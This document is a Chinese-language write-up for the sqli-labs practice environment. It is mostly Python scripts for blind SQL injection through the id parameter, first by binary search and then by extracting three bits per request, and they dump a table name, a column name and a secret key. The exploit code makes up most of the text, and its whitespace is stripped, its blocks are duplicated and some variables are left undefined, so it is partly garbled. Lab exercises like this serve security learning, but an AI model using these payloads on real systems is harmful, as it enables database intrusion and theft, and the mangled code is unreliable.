直接用docker搭建:sudo docker run -dt --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest
二分法
该注入点是id参数,SQL语句上下文是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1,注入时用')闭合。一般思路是先获取存key的表的表名,再获取key所在的列的列名,再获取key。表名有10个字符,由大写字母和数字构成;列名为secret_4个字符,这4个字符由大写字母和数字构成;secret key为24个字符,由大小写字母和数字构成。
defextract_data(tmpl_payload, length, chars): global try_count result = "" for i inrange(1, length + 1): left, right = 0, len(chars) - 1 while left < right: m = (left + right) // 2# 左中位数 payload = tmpl_payload % (i, ord(chars[m])) resp = requests.get(url, params={"id": payload}) try_count += 1# 统计请求个数 if"Your Login name"in resp.text: left = m + 1 else: right = m result += chars[left]
return result
table_name = extract_data( "1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d#", 10, un_chars ) print("table_name:", table_name)
column_name = "secret_" + extract_data( "1') and ascii(substr(substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4),%s,1))>%d#", 4, un_chars ) print("column_name:", column_name)
secret_key = extract_data( "1') and ascii(substr((select " + column_name + " from " + table_name+"),%s,1))>%d#", 24, uln_chars ) print("secret_key:", secret_key)
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & (2**j + 2**(j+1) + 2**(j+2)) WHEN 0 THEN 1 WHEN 2**j THEN 2 WHEN 2**(j+1) THEN 3 WHEN 2**(j+1) + 2**j THEN 4 WHEN 2**(j+2) THEN 5 WHEN 2**(j+2) + 2**j THEN 6 WHEN 2**(j+2) + 2**(j+1) THEN 7 ELSE 8 END
defextract_bits(query, i, j): """ 获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特 """ global try_count
payload = """ '+( SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark}) WHEN {0} THEN 1 WHEN {1} THEN 2 WHEN {2} THEN 3 WHEN {3} THEN 4 WHEN {4} THEN 5 WHEN {5} THEN 6 WHEN {6} THEN 7 ELSE 8 END )+' """.format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i) payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " ")) # print(payload)
match = re.search(r"Your Login name : (.*?)<br>", resp.text) assertmatch bits = info.get(match.group(1)) assert bits return bits
defextract_data(query, length): res = "" for i inrange(1, length+1): b3 = extract_bits(query, i, 0) # 00000111 b2 = extract_bits(query, i, 3) # 00111000 b1 = extract_bits(query, i, 5) # 11100000 bit = b1[:2] + b2 + b3 res += chr(int(bit, 2)) return res
if __name__ == "__main__": table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10) print("table_name:", table_name)
if __name__ == "__main__": table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10) print("table_name:", table_name)
secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24) # 主要改的是这一句 print("secret_key:", secret_key)
SELECT * FROM users; # 返回了数据 SELECT * FROM userS; # 报错,表名不存在 SELECT * FROM users WHERE username='admin'; # 返回admin SELECT * FROM users WHERE username='ADMIn'; # 还是可以返回admin
defextract_bits(query, i, bit_values: list): """ 获取query执行结果的第 i 个(从1开始算)字符的3个比特 哪3个比特由bit_values指定 """ global try_count
assertlen(bit_values) == 8 bit_marks = 0 for v in bit_values: bit_marks |= v
payload = """ '+( SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark}) WHEN {0} THEN 1 WHEN {1} THEN 2 WHEN {2} THEN 3 WHEN {3} THEN 4 WHEN {4} THEN 5 WHEN {5} THEN 6 WHEN {6} THEN 7 ELSE 8 END )+' """.format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i) payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " ")) # print(payload)
match = re.search(r"Your Login name : (.*?)<br>", resp.text) assertmatch assertmatch.group(1) in infos bits = bit_values[infos.index(match.group(1))] return bits
defextract_data(query, length): """ 获取query查询结果的length个字符,每个字符只获取其第7位和前5位 """ res = "" for i inrange(1, length+1): b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111]) # 00000111 b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000]) # 01011000 if b1 & 0b01000000 == 0: # 该字符为数字 bit = b1 | b2 | 0b00100000 else: # 该字符为字母 bit = b1 | b2 res += chr(bit) return res
if __name__ == "__main__": table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10) print("table_name:", table_name)
secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24) print("secret_key:", secret_key)